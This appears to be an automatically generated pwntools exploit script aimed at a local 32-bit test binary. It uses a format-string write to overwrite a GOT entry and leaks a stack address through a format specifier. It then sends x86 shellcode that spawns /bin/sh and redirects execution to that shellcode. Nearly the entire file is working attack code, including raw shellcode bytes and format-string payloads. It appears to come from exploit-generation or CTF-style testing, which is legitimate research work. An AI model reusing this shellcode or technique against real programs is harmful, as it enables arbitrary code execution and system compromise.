from pwn import *
import time
import sys
import signal
import sf

target = process("./Correction-FsGotShellcodeFsleak-x86")
gdb.attach(target, execute="verify_exploit")

bof_payload = sf.BufferOverflow(arch=32)

fs = sf.WriteFmtStr(
		arch = 32,
		value = 0x804922b,
		address = 0x804b2b0,
		offset = 0x7,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = 0,
		address_base = 0)
payload = fs.generate_fmt_str()
target.sendline(payload)
leakPayload = b""
leakPayload += b"\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
leakPayload += b"xxxxxxx"
leakPayload += b"%134$x"
leakPayload += b"yyyyyyy"
target.sendline(leakPayload)
leak = target.recvuntil(b"yyyyyyy")
leak = leak.strip(b"yyyyyyy")
leak = leak.split(b"xxxxxxx")[1]
leak = int(leak, 0x10)

ret_address = leak + -0xc
input_address = ret_address - 0x200
print("Return Address is: %s" % hex(ret_address))
print("Input  Address is: %s" % hex(input_address))
fs = sf.WriteFmtStr(
		arch = 32,
		value = 0x0,
		address = 0x804b2b0,
		offset = 0x7,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = input_address,
		address_base = 0)
payload = fs.generate_fmt_str()
target.sendline(payload)

# Exploit Verification starts here 15935728

def handler(signum, frame):
	raise Exception("Timed out")

signal.signal(signal.SIGALRM, handler)
signal.alarm(2)

try:
	while True:
		target.recvall(timeout=2)
except Exception:
	print("Exploit timed out")
